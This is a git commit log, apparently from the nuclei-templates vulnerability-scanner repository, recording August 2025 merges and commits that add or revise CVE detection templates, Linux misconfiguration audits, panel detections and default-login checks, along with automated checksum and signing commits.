ghost 523e75c70a chore: generate new addition list 🤖 2025-08-24 07:06:41 +00:00
ghost 309eb9cb0c chore: generate templates checksum 🤖 2025-08-24 07:06:33 +00:00
ghost 2f07b74800 chore: sign templates 🤖 2025-08-24 07:06:30 +00:00
Dhiyaneshwaran bb5e94165a Merge pull request #12836 from songyaeji/pr6-suid-sgid-check
Add SUID/SGID sticky bit check template
2025-08-24 00:06:10 -07:00
ghost bfbde3f1f5 chore: generate new addition list 🤖 2025-08-24 07:05:47 +00:00
ghost 094242866c chore: generate templates checksum 🤖 2025-08-24 07:05:44 +00:00
ghost 8ca11c3553 chore: sign templates 🤖 2025-08-24 07:05:38 +00:00
Dhiyaneshwaran 5924fadaf8 Merge pull request #12849 from songyaeji/pr14-sendmail-smtp
Add Sendmail/SMTP and DNS related security check templates
2025-08-24 00:05:16 -07:00
pussycat0x 529dc87a72 name - update 2025-08-24 12:30:39 +05:30
pussycat0x 760cd5c9b0 minor - change 2025-08-24 12:29:35 +05:30
pussycat0x 0b5ffee336 Update suid-sgid-check.yaml 2025-08-24 12:11:26 +05:30
pussycat0x b8a2c283b0 Rename CVE-2025-51502.yaml to CVE-2025-51502.yaml 2025-08-24 09:46:02 +05:30
pussycat0x 03a492701c Update CVE-2025-51502.yaml 2025-08-23 21:37:32 +05:30
ghost bdb0fa4cfa chore: generate new addition list 🤖 2025-08-23 11:50:54 +00:00
ghost 05d62ec88c chore: generate templates checksum 🤖 2025-08-23 11:50:53 +00:00
ghost 3226a2c551 chore: sign templates 🤖 2025-08-23 11:50:45 +00:00
ghost 11438d9c25 chore: generate new addition list 🤖 2025-08-23 11:50:36 +00:00
Dhiyaneshwaran 53892099ec Merge pull request #12839 from songyaeji/pr9-hosts-nfs-checks
Add templates to check hosts access control and NFS configuration
2025-08-23 04:50:23 -07:00
Dhiyaneshwaran 944d493c30 Merge pull request #12944 from projectdiscovery/CVE-2018-0171
Create CVE-2018-0171 (Cisco Smart Install - Configuration Download)
2025-08-23 04:50:05 -07:00
ghost 2b260350ed chore: generate new addition list 🤖 2025-08-23 08:15:53 +00:00
ghost 4003f5ead8 chore: generate templates checksum 🤖 2025-08-23 08:15:46 +00:00
ghost 6039848c54 chore: sign templates 🤖 2025-08-23 08:15:44 +00:00
pussycat0x 821acf4711 Merge pull request #12467 from machevalia/main
Add CVE-2021-31630 and OpenPLC Default Login Checks
2025-08-23 13:45:19 +05:30
ghost 6e0f27cbdf chore: generate new addition list 🤖 2025-08-23 08:02:59 +00:00
ghost 4e8906c002 chore: generate templates checksum 🤖 2025-08-23 08:02:57 +00:00
ghost 082113c69a chore: sign templates 🤖 2025-08-23 08:02:48 +00:00
Ritik Chaddha 97c466c65f Merge pull request #12837 from songyaeji/pr7-ftp-automount
Add templates to detect FTP anonymous access and automount service status
2025-08-23 13:32:28 +05:30
ghost 8e51339fdd chore: generate new addition list 🤖 2025-08-23 07:59:56 +00:00
ghost 1ccb2434ad chore: generate templates checksum 🤖 2025-08-23 07:59:49 +00:00
ghost d633920257 chore: sign templates 🤖 2025-08-23 07:59:46 +00:00
Ritik Chaddha abc2c84e99 Merge pull request #12845 from songyaeji/pr12-unnecessary-rpc-check
Add template to check unnecessary RPC services
2025-08-23 13:29:25 +05:30
Ritik Chaddha 374996d133 Merge pull request #12844 from songyaeji/pr11-xinetd-services-checks
Add templates to check Xinetd finger, tftp, and talk service configuration
2025-08-23 13:29:19 +05:30
Ritik Chaddha 7088c79b61 lint fix 2025-08-23 13:27:57 +05:30
ghost b38d053cab chore: generate templates checksum 🤖 2025-08-23 07:57:17 +00:00
ghost 6a4d0baa8d chore: generate CVEs metadata 🤖 2025-08-23 07:57:08 +00:00
Ritik Chaddha 95b300812f Merge pull request #12665 from securitytaters/CVE-2025-53364
Added CVE-2025-53364
2025-08-23 13:26:48 +05:30
Ritik Chaddha 2dde3fa482 Update CVE-2025-53364.yaml 2025-08-23 13:21:10 +05:30
ghost e21f2dd0fb chore: generate new addition list 🤖 2025-08-23 07:31:21 +00:00
ghost 2dc0245d88 chore: generate templates checksum 🤖 2025-08-23 07:31:11 +00:00
ghost eaa4d62e7c chore: generate CVEs metadata 🤖 2025-08-23 07:31:10 +00:00
ghost 9a274f8200 chore: sign templates 🤖 2025-08-23 07:31:08 +00:00
Ritik Chaddha 56afbf4a5c Merge pull request #12824 from nukunga/CVE-2025-51501
Add CVE-2025-51501
2025-08-23 13:00:47 +05:30
Ritik Chaddha 5bd01ecfc0 fix template and matchers 2025-08-23 12:56:08 +05:30
Dhiyaneshwaran 4a73017354 Merge branch 'main' into pr6-suid-sgid-check 2025-08-22 23:54:11 -07:00
Dhiyaneshwaran 49ce9ec857 Merge branch 'main' into pr14-sendmail-smtp 2025-08-22 23:52:00 -07:00
pussycat0x 3a72ef4dbd Update tcpwrapper-access.yaml 2025-08-23 12:21:00 +05:30
ghost a8a31b42d6 chore: generate templates checksum 🤖 2025-08-23 06:50:12 +00:00
ghost ec0e74ef96 chore: sign templates 🤖 2025-08-23 06:50:02 +00:00
Dhiyaneshwaran b52a7e4c1a Merge pull request #12838 from songyaeji/pr8-cron-dos-checks
Add templates to check cron ownership and DoS-vulnerable services
2025-08-22 23:49:41 -07:00
Dhiyaneshwaran 91d3ce64f0 Merge branch 'main' into pr8-cron-dos-checks 2025-08-22 23:39:40 -07:00
ghost 27fc20c1da chore: generate new addition list 🤖 2025-08-23 06:34:17 +00:00
ghost c1ec46c797 chore: generate templates checksum 🤖 2025-08-23 06:34:12 +00:00
ghost 80e82ece2a chore: sign templates 🤖 2025-08-23 06:34:08 +00:00
Dhiyaneshwaran 5aa3b2f457 Merge pull request #12842 from songyaeji/pr10-nis-rcommands-checks
Add templates to check NIS/NIS+ services and R-command configurations
2025-08-22 23:33:47 -07:00
ghost d02ebdb084 chore: generate new addition list 🤖 2025-08-23 06:31:57 +00:00
ghost 74e48c30e5 chore: generate templates checksum 🤖 2025-08-23 06:31:48 +00:00
ghost f515481877 chore: generate CVEs metadata 🤖 2025-08-23 06:31:46 +00:00
Dhiyaneshwaran 64db94a103 Merge pull request #12928 from projectdiscovery/princechaddha-patch-9
Added CVE-2023-1893
2025-08-22 23:31:25 -07:00
ghost 3ebd391730 chore: generate new addition list 🤖 2025-08-23 06:28:11 +00:00
ghost 78e06f2b73 chore: generate templates checksum 🤖 2025-08-23 06:28:03 +00:00
ghost 10cf3d780f chore: sign templates 🤖 2025-08-23 06:28:00 +00:00
Dhiyaneshwaran 0adf33c29a Merge pull request #12952 from halil-s4e/magic
magicinto  panel and conf exposure
2025-08-22 23:27:39 -07:00
pussycat0x e6d7359a1c Update CVE-2025-51501.yaml 2025-08-23 11:51:38 +05:30
Ritik Chaddha 385bb03330 added flow, updated matchers 2025-08-23 11:12:21 +05:30
Ritik Chaddha 3a00d3f937 updated severity & metadata 2025-08-23 09:57:57 +05:30
Ritik Chaddha 0653f3d772 updated matchers and info 2025-08-23 09:57:23 +05:30
halil b367b54cd8 add CVE-2025-1562 2025-08-23 03:28:54 +03:00
halil 7f088bdea0 add CVE-2025-1562 2025-08-23 03:26:19 +03:00
halil 20e287716f add CVE-2025-1562 2025-08-23 03:20:53 +03:00
ghost 5da774c48a chore: generate new addition list 🤖 2025-08-22 20:40:37 +00:00
ghost 998d5bceac chore: generate templates checksum 🤖 2025-08-22 20:40:30 +00:00
ghost f73bc579f7 chore: generate CVEs metadata 🤖 2025-08-22 20:40:26 +00:00
halilandDhiyaneshwaran 585285bdb8 CVE-2025-4632 - (Samsung MagicINFO 9 Server - File Upload & Remote Code Execution) (#12951)
* add 4632

* add ref

* fix-template-format

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2025-08-23 02:10:04 +05:30
pussycat0x c2937dd0e3 Merge branch 'pr14-sendmail-smtp' of https://github.com/songyaeji/nuclei-templates into pr/12849 2025-08-23 01:58:28 +05:30
pussycat0x 938ca9205c minor - update 2025-08-23 01:58:14 +05:30
pussycat0x 296c1e4c4a Delete misconfiguration/linux/smtp-relay-restriction-check.yaml 2025-08-23 01:57:30 +05:30
pussycat0x 9fab433a02 Delete misconfiguration/linux/dns-bind-version-check.yaml 2025-08-22 18:19:27 +05:30
pussycat0x 33b968405b Delete misconfiguration/linux/check-sendmail-postfix-version.yaml 2025-08-22 18:19:12 +05:30
pussycat0x e97faa0bd0 tags - update 2025-08-22 17:58:20 +05:30
pussycat0x 61f1d0081b Directory & Templates - update 2025-08-22 17:56:12 +05:30
pussycat0x 0c6576c146 Update linux-automountd-enabled.yaml 2025-08-22 17:45:50 +05:30
Ritik Chaddha d6d18924b6 Update CVE-2024-36404.yaml 2025-08-22 16:48:42 +05:30
Ritik Chaddha 5d0c2397bc lint fix 2025-08-22 16:04:47 +05:30
Ritik Chaddha b8130c2d74 Delete http/cves/2021/CVE-2021-31630.yaml 2025-08-22 15:58:02 +05:30
Ritik Chaddha e02e65961e updated matchers 2025-08-22 15:53:00 +05:30
ghost dcdf76097c chore: generate new addition list 🤖 2025-08-22 10:22:04 +00:00
ghost b4ba5234cf chore: generate templates checksum 🤖 2025-08-22 10:21:58 +00:00
ghost 610a771551 chore: generate CVEs metadata 🤖 2025-08-22 10:21:57 +00:00
ghost 2c8e8746e5 chore: sign templates 🤖 2025-08-22 10:21:54 +00:00
Dhiyaneshwaran a5dce36c4f Merge pull request #12678 from Sourabh-Sahu/CVE-2020-11975
Create CVE-2020-11975.yaml
2025-08-22 03:21:34 -07:00
pussycat0x 07c597d6d1 Update linux-anonymous-ftp-enabled.yaml 2025-08-22 14:34:48 +05:30
Dhiyaneshwaran b3ae91592f Merge branch 'main' into pr9-hosts-nfs-checks 2025-08-21 23:06:14 -07:00
Dhiyaneshwaran 8db6d56222 Merge branch 'main' into pr10-nis-rcommands-checks 2025-08-21 23:06:10 -07:00
Dhiyaneshwaran 4e40296cb9 Merge branch 'main' into pr11-xinetd-services-checks 2025-08-21 23:06:00 -07:00
Dhiyaneshwaran c8c0ff8d4b Merge branch 'main' into pr12-unnecessary-rpc-check 2025-08-21 23:05:50 -07:00
pussycat0x a790a5946b Templates - updates && Dir - Changes 2025-08-22 11:09:39 +05:30
pussycat0x 69080d8937 Update tftp-service-enabled.yaml 2025-08-22 10:24:23 +05:30
pussycat0x d1a1dd445c Template - Update & Dir - Changes 2025-08-22 10:22:38 +05:30
ghost abe2e78998 chore: generate new addition list 🤖 2025-08-22 04:15:44 +00:00
ghost 7e5d6f044d chore: generate templates checksum 🤖 2025-08-22 04:15:37 +00:00
ghost d14c4235d2 chore: sign templates 🤖 2025-08-22 04:15:36 +00:00
ghost c5538b09ae chore: generate CVEs metadata 🤖 2025-08-22 04:15:34 +00:00
pussycat0x 02d82720da Merge pull request #12940 from projectdiscovery/CVE-2025-57789
Create CVE-2025-57789.yaml (Commvault Initial Administrator Login Process Vulnerability)
2025-08-22 09:45:14 +05:30
ghost 284af94705 chore: generate new addition list 🤖 2025-08-22 04:14:45 +00:00
ghost f7f5485e29 chore: generate CVEs metadata 🤖 2025-08-22 04:14:36 +00:00
ghost 5fee21c77d chore: sign templates 🤖 2025-08-22 04:14:31 +00:00
pussycat0x c5e91495b8 Merge pull request #12939 from projectdiscovery/CVE-2025-57788
Create CVE-2025-57788.yaml (Commvault - Unauthorized API Access)
2025-08-22 09:44:12 +05:30
halil b761df4644 magic 2025-08-22 04:05:01 +03:00
pussycat0x 13453c9f48 minor -changes 2025-08-22 02:51:34 +05:30
pussycat0x ebb4a18c32 minor - changes 2025-08-22 02:24:39 +05:30
pussycat0x 0b0939f0b0 dir -changes && template - update 2025-08-21 23:48:18 +05:30
pussycat0x b23283d3fa Template - update & Dir - change 2025-08-21 23:10:49 +05:30
pussycat0x 61e8953107 dir - changed & template update 2025-08-21 23:02:09 +05:30
ghost 75c7e7dbf0 chore: generate new addition list 🤖 2025-08-21 12:45:29 +00:00
ghost b5f68ff47f chore: generate templates checksum 🤖 2025-08-21 12:45:28 +00:00
ghost 196875fde6 chore: generate CVEs metadata 🤖 2025-08-21 12:45:14 +00:00
ghost 814b1b169f chore: sign templates 🤖 2025-08-21 12:45:03 +00:00
Dhiyaneshwaran 7e6ebb1630 Merge pull request #12826 from songyaeji/pr1-account-policy
Add templates for account lockout and password aging policy checks
2025-08-21 04:52:47 -07:00
Dhiyaneshwaran 84490be314 Merge branch 'main' into pr7-ftp-automount 2025-08-21 04:52:29 -07:00
Dhiyaneshwaran 5ddf7319c8 Merge pull request #12831 from songyaeji/pr3-sensitive-file-permissions
Add sensitive system file permission checks
2025-08-21 04:51:59 -07:00
Dhiyaneshwaran cb0ee44fad Merge pull request #12834 from songyaeji/pr4-log-service-file-permissions
Add permission checks for logging and service config files
2025-08-21 04:50:33 -07:00
Dhiyaneshwaran 37b9ea2d26 Merge branch 'main' into pr1-account-policy 2025-08-21 04:47:59 -07:00
Dhiyaneshwaran 21ba35fa6e Merge branch 'main' into pr3-sensitive-file-permissions 2025-08-21 04:47:04 -07:00
Dhiyaneshwaran 4bbb625684 fix-spacing 2025-08-21 17:13:49 +05:30
Dhiyaneshwaran f907140375 Merge branch 'main' into pr4-log-service-file-permissions 2025-08-21 04:42:33 -07:00
pussycat0x 45d9582ae0 remove 2025-08-21 16:28:38 +05:30
pussycat0x 59e6cac983 Template - changes 2025-08-21 16:27:37 +05:30
pussycat0x 7f1adf47cf dir -changes 2025-08-21 15:47:38 +05:30
pussycat0x 72fdfa4be4 lint - fix 2025-08-21 15:38:38 +05:30
pussycat0x ec9d414da0 dir - change 2025-08-21 15:35:59 +05:30
pussycat0x 852f7727e3 directory - change 2025-08-21 15:32:29 +05:30
pussycat0x a74824b196 templates - update 2025-08-21 14:52:08 +05:30
Dhiyaneshwaran 8357ba2bdd Merge branch 'main' into CVE-2018-0171 2025-08-21 01:29:20 -07:00
Dhiyaneshwaran 4522690eb3 Merge pull request #12723 from Jaenact/add-CVE-2023-27163
add CVE-2023-27163 template
2025-08-21 01:28:56 -07:00
Dhiyaneshwaran 2537a8ff99 fix-shodan-fofa-query 2025-08-21 13:54:11 +05:30
pussycat0x 47a4953738 Merge pull request #12221 from atomiczsec/main
Update adcs-certificate.yaml to add more detection
2025-08-21 13:40:46 +05:30
Dhiyaneshwaran 2cd57b9a0d Merge branch 'main' into main 2025-08-21 01:09:10 -07:00
Dhiyaneshwaran 7c07c3117d Merge pull request #12945 from projectdiscovery/audit--struct
Linux Audit Templates Directory - Change
2025-08-21 01:03:12 -07:00
pussycat0x 9c3ffbb421 template - update 2025-08-21 13:20:56 +05:30
Ritik Chaddha 8e65b15fd2 fix info 2025-08-21 12:10:10 +05:30
pussycat0x 6f922715c8 restructured 2025-08-21 12:09:15 +05:30
Ritik Chaddha 23dd94fd34 lint fix 2025-08-21 12:02:39 +05:30
pussycat0x 4b559b570a Linux Audit Templates Directory - Change 2025-08-21 11:57:32 +05:30
Ritik Chaddha 21ecb0b047 Create CVE-2018-0171.yaml 2025-08-21 11:55:15 +05:30
Dhiyaneshwaran 724ad2fa78 Merge pull request #12768 from tomaquet18/CVE-2018-19127
feat: added 2018-19127
2025-08-20 22:06:34 -07:00
Dhiyaneshwaran 53a53f4cfb lowercase metadata 2025-08-21 10:32:12 +05:30
Prince Chaddha 9e799cc28d Merge pull request #12827 from kelu27/fix-gcloud-public-access-prevention-not-enabled
fix(gcloud-public-access-prevention-not-enabled)  enhance matchers
2025-08-21 09:28:24 +05:30
Prince Chaddha 3277720cda Merge branch 'main' into fix-gcloud-public-access-prevention-not-enabled 2025-08-21 09:24:01 +05:30
Dhiyaneshwaran aded3eeb9a Merge pull request #12736 from songyaeji/misconfiguration
add misconfiguration of linux
2025-08-20 20:43:06 -07:00
Dhiyaneshwaran 776076f1c0 Merge pull request #12942 from projectdiscovery/pussycat0x-patch-13
FP- Fix  apache-rocketmq-broker-unauth.yaml
2025-08-20 20:29:11 -07:00
Dhiyaneshwaran 7716658cac Merge branch 'main' into pussycat0x-patch-13 2025-08-20 20:19:59 -07:00
Ritik Chaddha d41a9a87c8 Merge pull request #12830 from songyaeji/pr2-password-file-protection
Add password file protection and root path check templates
2025-08-21 08:09:43 +05:30
pussycat0x bd413794f6 Directory & Template - Update 2025-08-21 00:35:14 +05:30
pussycat0x b20a464b39 FP- Fix apache-rocketmq-broker-unauth.yaml 2025-08-20 23:14:56 +05:30
NamhyeonKo e78025fc7f Added CVE-2025-23061 Template 2025-08-20 22:56:32 +09:00
Dhiyaneshwaran 746f65fb14 Create CVE-2025-57789.yaml 2025-08-20 18:10:53 +05:30
pussycat0x fbe64ccfce Merge branch 'misconfiguration' of https://github.com/songyaeji/nuclei-templates into pr/12736 2025-08-20 18:03:38 +05:30
pussycat0x ca7616b6ed tag - update 2025-08-20 18:03:18 +05:30
Dhiyaneshwaran 591ae4b684 fix-fp 2025-08-20 18:00:38 +05:30
pussycat0x f9b364d9ed Merge branch 'main' into misconfiguration 2025-08-20 17:59:17 +05:30
pussycat0x bcd9e61db0 minor - update & directory changes 2025-08-20 17:53:58 +05:30
Dhiyaneshwaran 1f439ba1e4 Create CVE-2025-57788.yaml 2025-08-20 17:15:33 +05:30
Ritik Chaddha 5981a5af59 Update adcs-certificate.yaml 2025-08-20 16:25:07 +05:30
Dhiyaneshwaran 33dd1c5feb Merge pull request #12794 from tpierru/pensando-default-login
Added pensando-default-login.yaml Template
2025-08-20 02:50:42 -07:00
Matej Smycka c898d603ba fix: yamllint problems 2025-08-20 11:45:37 +02:00
Dhiyaneshwaran d89c835b06 fix-template-format 2025-08-20 15:15:10 +05:30
pussycat0x 6a39b46bdf metadata - update 2025-08-20 15:05:36 +05:30
Matej Smycka 90d1691001 feat: add SNMPv1 public misconfig detection template 2025-08-20 11:32:21 +02:00
pussycat0x b4bc6bbb1d Update CVE-2025-51502.yaml 2025-08-20 15:01:41 +05:30
pussycat0x 3161e2f057 Directory change 2025-08-20 15:00:19 +05:30
pussycat0x cd37d04320 minor -changes 2025-08-20 14:49:29 +05:30
Dhiyaneshwaran 5a19b538f3 Merge pull request #12931 from intelligent-ears/cve-2025-34035
Add CVE-2025-34035 - EnGenius EnShare Cloud Service Command Injection
2025-08-20 01:32:19 -07:00
K ARYA SEKHAR DAS 7491dbcc98 Merge branch 'main' into cve-2025-34035 2025-08-20 13:27:07 +05:30
Ritik Chaddha 7c9d822d97 fixed half done template 2025-08-20 12:53:32 +05:30
Dhiyaneshwaran 7bc3d4ce70 updated-matcher & metadata 2025-08-20 10:35:20 +05:30
Dhiyaneshwaran 9cf37a2bcd Merge pull request #12934 from projectdiscovery/pussycat0x-patch-13
Create microweber-install.yaml
2025-08-19 21:49:23 -07:00
Dhiyaneshwaran f6b313c971 update description 2025-08-20 09:33:58 +05:30
pussycat0x fd803ef546 Create microweber-install.yaml 2025-08-20 09:32:18 +05:30
K ARYA SEKHAR DAS 7c284e858d Merge branch 'main' into cve-2025-34035 2025-08-20 01:05:43 +05:30
intelligent-ears 336e7aa1c8 Add CVE-2025-34035 - EnGenius EnShare Cloud Service Command Injection 2025-08-20 00:57:07 +05:30
pussycat0x 4b2f0da328 Update pensando-default-login.yaml 2025-08-19 21:49:10 +05:30
Ritik Chaddha 8fe833e913 updated matchers & payload, added flow 2025-08-19 20:17:48 +05:30
Dhiyaneshwaran 775020c9df Merge pull request #12907 from ivaldivieso/feature/exposed-checkmk
Add Checkmk Agent Info Disclosure template
2025-08-19 06:30:57 -07:00
pussycat0x 5f9845d882 Merge pull request #12918 from projectdiscovery/aitemi-m300
Create CVE-2025-34152.yaml (Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter)
2025-08-19 18:56:11 +05:30
pussycat0x 3240ae4681 Merge pull request #12909 from praivesi/CVE-2025-55169
feat: add CVE-2025-55169 Nuclei Template
2025-08-19 18:55:39 +05:30
Dhiyaneshwaran 11733cf43d Merge pull request #12419 from Th3l0newolf/Ubuntu-cis-1
Ubuntu CIS Phase-3 Template
2025-08-19 06:17:30 -07:00
Dhiyaneshwaran 43f383a3f5 Merge pull request #12380 from Th3l0newolf/Ubuntu-cis-12
Ubuntu CIS Phase-2 Template
2025-08-19 06:16:54 -07:00
Dhiyaneshwaran a967ee222b fix-trail-lint-error 2025-08-19 18:38:32 +05:30
Dhiyaneshwaran a7845891ab Update dnsmasq-service.yaml 2025-08-19 18:29:50 +05:30
Prince Chaddha 16a49ae3c9 Merge pull request #12922 from righettod/roadiz_add
Add detection of  ROADIZ CMS instances.
2025-08-19 18:24:42 +05:30
Prince Chaddha 53d7642d44 Update roadiz-cms-detect.yaml 2025-08-19 18:11:48 +05:30
Prince Chaddha 49c9e0270f Merge branch 'main' into roadiz_add 2025-08-19 18:11:29 +05:30
Dhiyaneshwaran fa176f45f1 fix-spacing 2025-08-19 18:11:23 +05:30
Prince Chaddha 716d2dd343 Merge pull request #12923 from righettod/zammad_add
Add detection of ZAMMAD HELPDESK login panel instances.
2025-08-19 18:11:03 +05:30
Dhiyaneshwaran 0a1613f462 fix-spacing 2025-08-19 18:08:51 +05:30
Prince Chaddha af93bbc7b4 improve roadiz-cms-detect template - enhanced description, added vendor/product metadata and fofa query 2025-08-19 18:08:34 +05:30
pussycat0x ae8a7bfd19 File name change 2025-08-19 18:07:27 +05:30
Prince Chaddha fa83a1c5f1 Merge branch 'main' into roadiz_add 2025-08-19 18:06:54 +05:30
Prince Chaddha 621f036071 Update zammad-helpdesk-panel.yaml 2025-08-19 18:06:02 +05:30
pussycat0x 57bf498e35 file name, tags and Minor - changes 2025-08-19 18:03:12 +05:30
Prince Chaddha dc12711e13 Update zammad-helpdesk-panel.yaml 2025-08-19 17:44:46 +05:30
Prince Chaddha 8bf3af5cd6 Merge branch 'main' into zammad_add 2025-08-19 17:40:26 +05:30
Prince Chaddha c13a5e0217 Merge pull request #12924 from projectdiscovery/CVE-2020-36708
Update and rename wp-multiple-theme-ssrf.yaml to CVE-2020-36708.yaml
2025-08-19 17:40:17 +05:30
Prince Chaddha 64f062f9a7 improve zammad-helpdesk-panel template - enhanced description, added vendor/product metadata and fofa query 2025-08-19 17:34:36 +05:30
Prince Chaddha 2dc823aa23 Merge branch 'main' into zammad_add 2025-08-19 17:31:41 +05:30
Prince Chaddha 2f56075b74 Merge branch 'main' into CVE-2020-36708 2025-08-19 17:31:12 +05:30
Prince Chaddha 8c9fc3306f improve CVE-2020-36708 template - enhanced info with impact, remediation, kev tags and additional references 2025-08-19 17:29:51 +05:30
Prince Chaddha 3c35a033ce improve CVE-2023-1893 template - enhanced info block with classification, impact, remediation and metadata 2025-08-19 17:15:13 +05:30
Prince Chaddha 3a31a4c695 Create CVE-2023-1893.yaml 2025-08-19 17:11:12 +05:30
pussycat0x 9fc34b7324 minor changes 2025-08-19 16:26:09 +05:30
pussycat0x b5ea98aa8d Update checkmk-info-disclosure.yaml 2025-08-19 15:52:00 +05:30
pussycat0x d60c643d80 Update and rename & minor changes 2025-08-19 15:51:12 +05:30
pussycat0x e79284ca27 Merge pull request #12904 from johnk3r/main
Create nfs-v3-exposed.yaml
2025-08-19 14:38:06 +05:30
Dhiyaneshwaran aecb127479 Merge branch 'main' into CVE-2020-36708 2025-08-19 00:20:38 -07:00
Ritik Chaddha 3569fbcf2a Merge pull request #12912 from icarot/main
Create bugzilla-detect.yaml and bugzilla-config-exposed.yaml
2025-08-19 12:48:02 +05:30
Ritik Chaddha a4f39aba40 updated matcher type and req 2025-08-19 12:43:25 +05:30
Dhiyaneshwaran 129c683e5c Merge branch 'main' into CVE-2025-55169 2025-08-18 23:08:55 -07:00
Dhiyaneshwaran 1591f7dc26 Update and rename wp-multiple-theme-ssrf.yaml to CVE-2020-36708.yaml 2025-08-19 11:28:57 +05:30
Dhiyaneshwaran aa4ee91598 Merge pull request #12645 from GDATTACKER-RESEARCHER/patch-8
Delete http/takeovers/tumblr-takeover.yaml
2025-08-18 22:36:30 -07:00
Dhiyaneshwaran 8b26cabebc Merge branch 'main' into patch-8 2025-08-18 22:22:02 -07:00
Dominique RIGHETTO 92c8cdf510 Update and rename zammad-panel.yaml to zammad-helpdesk-panel.yaml 2025-08-19 06:55:10 +02:00
Dominique RIGHETTO 2fefc271fe Add files via upload 2025-08-19 06:51:55 +02:00
Ritik Chaddha 1a2642ca7b updated matchers 2025-08-19 10:20:05 +05:30
Dominique RIGHETTO 898f26a5f5 Add files via upload 2025-08-19 06:30:12 +02:00
0xmmq cdb4775b71 Merge branch 'main' into add_openrouter_key 2025-08-19 11:03:43 +08:00
Dhiyaneshwaran cdd4d9834c Create CVE-2025-34152.yaml 2025-08-18 15:56:07 +05:30
Sourabh Sahu 47d64e0efc Merge branch 'main' into CVE-2020-11975 2025-08-18 14:48:47 +05:30
Ritik Chaddha 0f09da127b Merge pull request #12913 from darses/patch-47
Create aem-forms-panel.yaml
2025-08-18 13:59:39 +05:30
Ritik Chaddha 1ac25151bb Update aem-forms-panel.yaml 2025-08-18 13:37:59 +05:30
Dhiyaneshwaran 4b79a4f046 fix-template-format 2025-08-18 11:53:36 +05:30
ghost 80fe7436fa chore: generate templates checksum 🤖 2025-08-18 04:43:24 +00:00
ghost d1be6add4c chore: sign templates 🤖 2025-08-18 04:43:23 +00:00
DhiyaneshwaranandPDTeamX c3d9369b1f Update composer-config.yaml (Fix False Positive) (#12900)
* Update composer-config.yaml

* more unique string

---------

Co-authored-by: PDTeamX <[email protected]>
2025-08-18 10:12:59 +05:30
ghost a046af8f50 chore: generate templates checksum 🤖 2025-08-18 04:12:03 +00:00
6bf24a9e3e Update cisco-firepower-panel (#12902)
* Update cisco-firepower-panel
- Rename to Cisco Secure Firewall Management Center
- Add vendor/product metadata
- Additional Shodan/FOFA queries to cover new product name
- Additional matchers to cover new product name
- Rewrite version extract to cover new product and add build number

* fix-format

* Update cisco-firepower-panel.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
Co-authored-by: PDTeamX <[email protected]>
2025-08-18 09:41:40 +05:30
ghost 1c71f91d86 chore: sign templates 🤖 2025-08-18 04:09:59 +00:00
ghost 718e923ef0 chore: generate templates checksum 🤖 2025-08-18 04:09:57 +00:00
571e4a9fe7 Update FortiSIEM-panel (#12871)
* Update FortiSIEM-panel
- Additional FOFA/Shodan queries
- Different matchers to cover more versions
- Extract last-m date, which looks like build date
- Change tag from product to vendor
- Small info modifications
- Reduce number of GET's

* updated-matcher

---------

Co-authored-by: Sandeep Singh <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2025-08-18 09:39:34 +05:30
Sandeep Singh 1d480a905e Merge branch 'main' into patch-28 2025-08-18 09:38:09 +05:30
ghost 57e1d5106e chore: generate new addition list 🤖 2025-08-18 04:05:37 +00:00
ghost cbb46ee873 chore: generate CVEs metadata 🤖 2025-08-18 04:05:31 +00:00
ghost 800417630e chore: generate templates checksum 🤖 2025-08-18 04:05:29 +00:00
Dhiyaneshwaran b5a2a2b4e1 Merge pull request #12813 from vats147/add-cve-2023-37988-template
Add CVE-2023-37988.yaml (Contact Form Generator <= 2.5.5 - Cross-Site Scripting)
2025-08-17 21:05:04 -07:00
ghost c33e265028 chore: generate new addition list 🤖 2025-08-18 03:47:53 +00:00
ghost d47b7ee046 chore: sign templates 🤖 2025-08-18 03:47:51 +00:00
ghost 4d6702857c chore: generate templates checksum 🤖 2025-08-18 03:47:46 +00:00
ghost 00bb6d5767 chore: generate CVEs metadata 🤖 2025-08-18 03:47:44 +00:00
ChrisandPDTeamX f7f61771a5 Add CVE-2025-25256 Fortinet FortiSIEM - OS Command Injection (#12894)
* Add CVE-2025-25256 Fortinet FortiSIEM - OS Command Injection

* Update

* Update

* updating author to reflect vuln discovery source

---------

Co-authored-by: PDTeamX <[email protected]>
2025-08-18 09:17:22 +05:30
ghost 5edaf91a21 chore: generate new addition list 🤖 2025-08-18 03:44:27 +00:00
ghost 5d554e528a chore: sign templates 🤖 2025-08-18 03:44:20 +00:00
Dhiyaneshwaran f2f13104fa Merge pull request #12840 from nblirwn/nblirwn-CVE-2025-28906
CVE-2025-28906
2025-08-17 20:43:54 -07:00
Dhiyaneshwaran 6ca8631e26 fix-template-format 2025-08-18 09:08:40 +05:30
pussycat0x fa2bd3a81a flow - update 2025-08-18 10:28:57 +07:00
Dhiyaneshwaran 3c0da94c92 fix-spacing 2025-08-18 08:17:49 +05:30
Dhiyaneshwaran b65b21bf2f Update and rename bugzilla-config-exposed.yaml to bugzilla-config.yaml 2025-08-18 08:17:07 +05:30
ghost 9d022d962f chore: generate new addition list 🤖 2025-08-18 01:47:42 +00:00
ghost 6a8d9113d0 chore: generate templates checksum 🤖 2025-08-18 01:47:39 +00:00
ghost 4ce167e036 chore: sign templates 🤖 2025-08-18 01:47:37 +00:00
ghost 4569449dbd chore: generate CVEs metadata 🤖 2025-08-18 01:47:33 +00:00
pussycat0x 927d745fac Merge pull request #12893 from projectdiscovery/CVE-2025-27888
Create CVE-2025-27888.yaml (Apache Druid - Server-Side Request Forgery)
2025-08-18 08:47:09 +07:00
ghost f7f305c31e chore: generate templates checksum 🤖 2025-08-18 01:45:07 +00:00
ghost c2d7fc3938 chore: sign templates 🤖 2025-08-18 01:45:02 +00:00
Dhiyaneshwaran 245987a4c4 Merge pull request #12911 from mailler0xa/mailler0xa-patch-1
Removed name bit in the extractor section for grafana-detect template
2025-08-17 18:44:38 -07:00
ghost 60e33fbfb5 chore: generate new addition list 🤖 2025-08-18 01:34:49 +00:00
ghost 044c8f1cb3 chore: generate templates checksum 🤖 2025-08-18 01:34:44 +00:00
pussycat0x ad0817f3a4 Merge pull request #12895 from projectdiscovery/mapproxy-file-read
Create mapproxy-file-read.yaml (MapProxy - File Read)
2025-08-18 08:34:18 +07:00
Icaro TorresandChris d43317388c Update http/technologies/bugzilla-detect.yaml
